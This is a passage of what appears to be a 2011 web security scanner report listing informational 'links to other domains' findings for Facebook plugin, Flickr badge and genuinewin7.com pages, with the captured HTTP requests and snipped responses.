http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1e7a53d09fb6fa%26origin%3Dhttp%253A%252F%252Fwww.ilovefreesoftware.com%252Ff1f4383a1b979c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FI-Love-Free-Software%2F112472075437410&locale=en_US&sdk=joey&show_faces=true&stream=false&width=210 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/category/programming
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.18. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/161177_100001297557822_7565877_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/161351_100001582318413_5290524_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/173386_100002038401131_1486485_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/273660_100001017816631_1039337011_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/276095_100001952589852_6547955_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/49860_100001589539523_5376_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/162064_186795764687008_1837012_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/173831_100002002972944_181082_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/23220_100000685845966_9196_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276059_100000286778496_1351070854_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41416_100001819298559_73871_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.19. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/161177_100001297557822_7565877_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/161663_100002004384480_6822499_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/173386_100002038401131_1486485_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/276095_100001952589852_6547955_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/49860_100001589539523_5376_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/162064_186795764687008_1837012_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/173831_100002002972944_181082_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187537_100000745072739_7742572_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203089_100000527833328_5866858_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41416_100001819298559_73871_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49306_1718878399_2477_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/category/apple/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.20. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?api_key=16995676698&channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1fe4bf01606914%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&locale=en_US&sdk=joey&show_faces=true&stream=false&width=300

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/274118_100002982272716_1843079831_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/188054_7155422274_50395_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/27341_1014633404_5274_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273998_1519664472_1521990120_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274807_1360147091_7870090_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274944_100001677817838_918528609_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276017_100000336849451_1809906900_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276299_1293861168_330043450_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48984_100000635022451_6223_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49942_100000516296696_4803040_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?api_key=16995676698&channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1fe4bf01606914%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&locale=en_US&sdk=joey&show_faces=true&stream=false&width=300 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.21. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/recommendations.php?api_key=16995676698&border_color=white&font=arial&header=false&height=250&linktarget=_blank&locale=en_US&sdk=joey&site=news.cnet.com&width=300

The response contains the following links to other domains:

http://external.ak.fbcdn.net/safe_image.php?d=AQA38y0KhvbTVD6b&url=http%3A%2F%2Fi.i.com.com%2Fcnwk.1d%2Fi%2Ftim%2F2011%2F09%2F18%2FnetflixMovies.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQAcHFSY6fdmiv5i&url=http%3A%2F%2Fi.i.com.com%2Fcnwk.1d%2Fi%2Ftim%2F2011%2F09%2F19%2Fimage6627267x_270x203_1_1.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQCHwFXGSpn5qho0&url=http%3A%2F%2Fi.i.com.com%2Fcnwk.1d%2Fi%2Ftim%2F2011%2F09%2F18%2F080214_datasecurity_fd_120x90.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQD3pejUMwPxbHZS&url=http%3A%2F%2Fi.i.com.com%2Fcnwk.1d%2Fi%2Ftim%2F2011%2F09%2F19%2F4_33_270x379.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQDG-gvKykXB_JFM&url=http%3A%2F%2Fi.i.com.com%2Fcnwk.1d%2Fi%2Ftim%2F2011%2F09%2F19%2FphpfPOoljScreenshot2011-05-26at9.19.55AM_424x318_270x203.png
http://news.cnet.com/8301-1009_3-20108041-83/missile-maker-sees-network-hacked/
http://news.cnet.com/8301-1023_3-20108055-93/netflix-ceo-i-slid-into-arrogance/
http://news.cnet.com/8301-13506_3-20108133-17/samsung-to-seek-iphone-5-ban-in-korea-report-says/
http://news.cnet.com/8301-13506_3-20108169-17/google-wallet-launching-today-signs-point-to-yes/
http://news.cnet.com/8301-13506_3-20108309-17/microsoft-in-talks-with-comcast-verizon-on-xbox-tv/

Request

GET /plugins/recommendations.php?api_key=16995676698&border_color=white&font=arial&header=false&height=250&linktarget=_blank&locale=en_US&sdk=joey&site=news.cnet.com&width=300 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.22. http://www.flickr.com/badge_code_v2.gne previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.flickr.com
Path:	/badge_code_v2.gne

Issue detail

The page was loaded from a URL containing a query string:

http://www.flickr.com/badge_code_v2.gne?count=5&display=latest&size=s&layout=h&source=user&user=34178660@N03

The response contains the following link to another domain:

http://geo.yahoo.com/p?s=792600102&t=560cb239bc22381e09326622c6aab424&r=http%3A%2F%2Fblog.twitter.com%2F&fl_ev=0&lang=en&intl=us

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:31:52 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 19 Sep 2011 18:31:52 GMT
Cache-Control: no-store, no-cache, must-revalidate, private
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Served-By: www188.flickr.mud.yahoo.com
Vary: Accept-Encoding
Content-Type: application/x-javascript
Age: 0
Via: HTTP/1.1 r06.ycpi.ne1.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ]), HTTP/1.1 r01.ycpi.lax.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ])
Server: YTS/1.20.4
Proxy-Connection: keep-alive
Content-Length: 2148

var b_txt = '';

// write the badge


                       b_txt+= '<td align="center" valign="center" style="padding:0" class="flickr_badge_image" id="flickr_badge_image1"><a href="http://www.flickr.com/photos
...[SNIP]...
<span style="position:absolute;left:-999em;top:-999em;visibility:hidden" class="flickr_badge_beacon"><img src="http://geo.yahoo.com/p?s=792600102&t=560cb239bc22381e09326622c6aab424&r=http%3A%2F%2Fblog.twitter.com%2F&fl_ev=0&lang=en&intl=us" width="0" height="0" alt="" /></span>
...[SNIP]...

12.23. http://www.flickr.com/badge_code_v2.gne previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.flickr.com
Path:	/badge_code_v2.gne

Issue detail

The page was loaded from a URL containing a query string:

http://www.flickr.com/badge_code_v2.gne?count=5&display=latest&size=s&layout=h&source=user&user=34178660@N03

The response contains the following link to another domain:

http://geo.yahoo.com/p?s=792600102&t=42583a201113fe489c03bd1d661a82cc&r=http%3A%2F%2Fblog.twitter.com%2F&fl_ev=0&lang=en&intl=us

Request

GET /badge_code_v2.gne?count=5&display=latest&size=s&layout=h&source=user&user=34178660@N03 HTTP/1.1
Host: www.flickr.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://blog.twitter.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=akv59u57649m0&b=3&s=r4; localization=en-us%3Bus%3Bus

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:32:28 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 19 Sep 2011 18:32:28 GMT
Cache-Control: no-store, no-cache, must-revalidate, private
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Served-By: www198.flickr.mud.yahoo.com
Vary: Accept-Encoding
Content-Type: application/x-javascript
Age: 3
Via: HTTP/1.1 r15.ycpi.ne1.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ]), HTTP/1.1 r01.ycpi.lax.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ])
Server: YTS/1.20.4
Proxy-Connection: keep-alive
Content-Length: 2148

var b_txt = '';

// write the badge


                       b_txt+= '<td align="center" valign="center" style="padding:0" class="flickr_badge_image" id="flickr_badge_image1"><a href="http://www.flickr.com/photos
...[SNIP]...
<span style="position:absolute;left:-999em;top:-999em;visibility:hidden" class="flickr_badge_beacon"><img src="http://geo.yahoo.com/p?s=792600102&t=42583a201113fe489c03bd1d661a82cc&r=http%3A%2F%2Fblog.twitter.com%2F&fl_ev=0&lang=en&intl=us" width="0" height="0" alt="" /></span>
...[SNIP]...

12.24. http://www.genuinewin7.com/about-win7.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/about-win7.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.genuinewin7.com/about-win7.aspx?WT.page_from=nav

The response contains the following links to other domains:

http://privacy.microsoft.com/zh-cn/default.aspx
http://support.microsoft.com/ph/14019/zh-cn
http://windows.microsoft.com/zh-CN/windows7/disclaimer
http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center
http://windows.microsoft.com/zh-CN/windows7/products/home
http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx
http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712
http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx

Request

GET /about-win7.aspx?WT.page_from=nav HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/purchase.aspx?WT.page_from=safety
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684126733:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:35:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 24474

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<div id="mslogo_top">
<a href="http://windows.microsoft.com/zh-CN/windows7/products/home" target="_bank"><img src="images/index_logo.png" width="96" height="53" class="fixpng"/>
...[SNIP]...
</a> | <a href="http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center" target="_blank">............</a>
...[SNIP]...
</a> | <a href="http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712" target="_blank">...... Windows ...............</a>
...[SNIP]...
<div id="mshelp"><a href="http://support.microsoft.com/ph/14019/zh-cn#tab0" target="_blank">..................</a>
...[SNIP]...
<div id="footer_nav">
© 2011 Microsoft <a href="http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx"target="_blank">............</a> |
<a href="http://windows.microsoft.com/zh-CN/windows7/disclaimer"target="_blank">Windows 7 ............</a> | <a href="http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx"target="_blank">......</a> | <a href="http://privacy.microsoft.com/zh-cn/default.aspx"target="_blank">............</a>
...[SNIP]...

12.25. http://www.genuinewin7.com/genuine-sharing.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/genuine-sharing.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.genuinewin7.com/genuine-sharing.aspx?WT.page_from=about-win7

The response contains the following links to other domains:

http://privacy.microsoft.com/zh-cn/default.aspx
http://support.microsoft.com/ph/14019/zh-cn
http://windows.microsoft.com/zh-CN/windows7/disclaimer
http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center
http://windows.microsoft.com/zh-CN/windows7/products/home
http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx
http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712
http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx

Request

GET /genuine-sharing.aspx?WT.page_from=about-win7 HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/purchase.aspx?WT.page_from=safety
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684192661:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:35:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16755

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<div id="mslogo_top">
<a href="http://windows.microsoft.com/zh-CN/windows7/products/home" target="_bank"><img src="images/index_logo.png" width="96" height="53" class="fixpng"/>
...[SNIP]...
</a> | <a href="http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center" target="_blank">............</a>
...[SNIP]...
</a> | <a href="http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712" target="_blank">...... Windows ...............</a>
...[SNIP]...
<div id="mshelp"><a href="http://support.microsoft.com/ph/14019/zh-cn#tab0" target="_blank">..................</a>
...[SNIP]...
<div id="footer_nav">
© 2011 Microsoft <a href="http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx"target="_blank">............</a> |
<a href="http://windows.microsoft.com/zh-CN/windows7/disclaimer"target="_blank">Windows 7 ............</a> | <a href="http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx"target="_blank">......</a> | <a href="http://privacy.microsoft.com/zh-cn/default.aspx"target="_blank">............</a>
...[SNIP]...

12.26. http://www.genuinewin7.com/purchase.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/purchase.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.genuinewin7.com/purchase.aspx?WT.page_from=safety

The response contains the following links to other domains:

http://h20426.www2.hp.com/campaign/g/cn/zh/index.html
http://ilike.360buy.com/ilike/s32telcc1mc3p93q.html
http://pc.toshiba.com.cn/product/l700/Satellite_L700_intro.jsp
http://privacy.microsoft.com/zh-cn/default.aspx
http://support.microsoft.com/ph/14019/zh-cn
http://windows.microsoft.com/zh-CN/windows7/disclaimer
http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center
http://windows.microsoft.com/zh-CN/windows7/products/home
http://www.mc2.com.cn/NewsCenter.aspx?NewsID=536
http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx
http://www.microsoft.com/china/windows/buy/retail.aspx
http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712
http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx
http://www.samsung.com/cn/consumer/computers-office/ultra-mobile-pc/fashion-essential/NP-Q460-JS05CN/index.idx?pagetype=prd_detail&subsubtype=q-series
http://www.sonystyle.com.cn/products/vaio/sd2.htm
http://www.sundan.com/page-......Touch%20Mouse.html

Request

GET /purchase.aspx?WT.page_from=safety HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/safety.aspx?WT.page_from=nav
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684122097:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:35:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 23325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<div id="mslogo_top">
<a href="http://windows.microsoft.com/zh-CN/windows7/products/home" target="_bank"><img src="images/index_logo.png" width="96" height="53" class="fixpng"/>
...[SNIP]...
</a> | <a href="http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center" target="_blank">............</a>
...[SNIP]...
</a> | <a href="http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712" target="_blank">...... Windows ...............</a>
...[SNIP]...
<li>
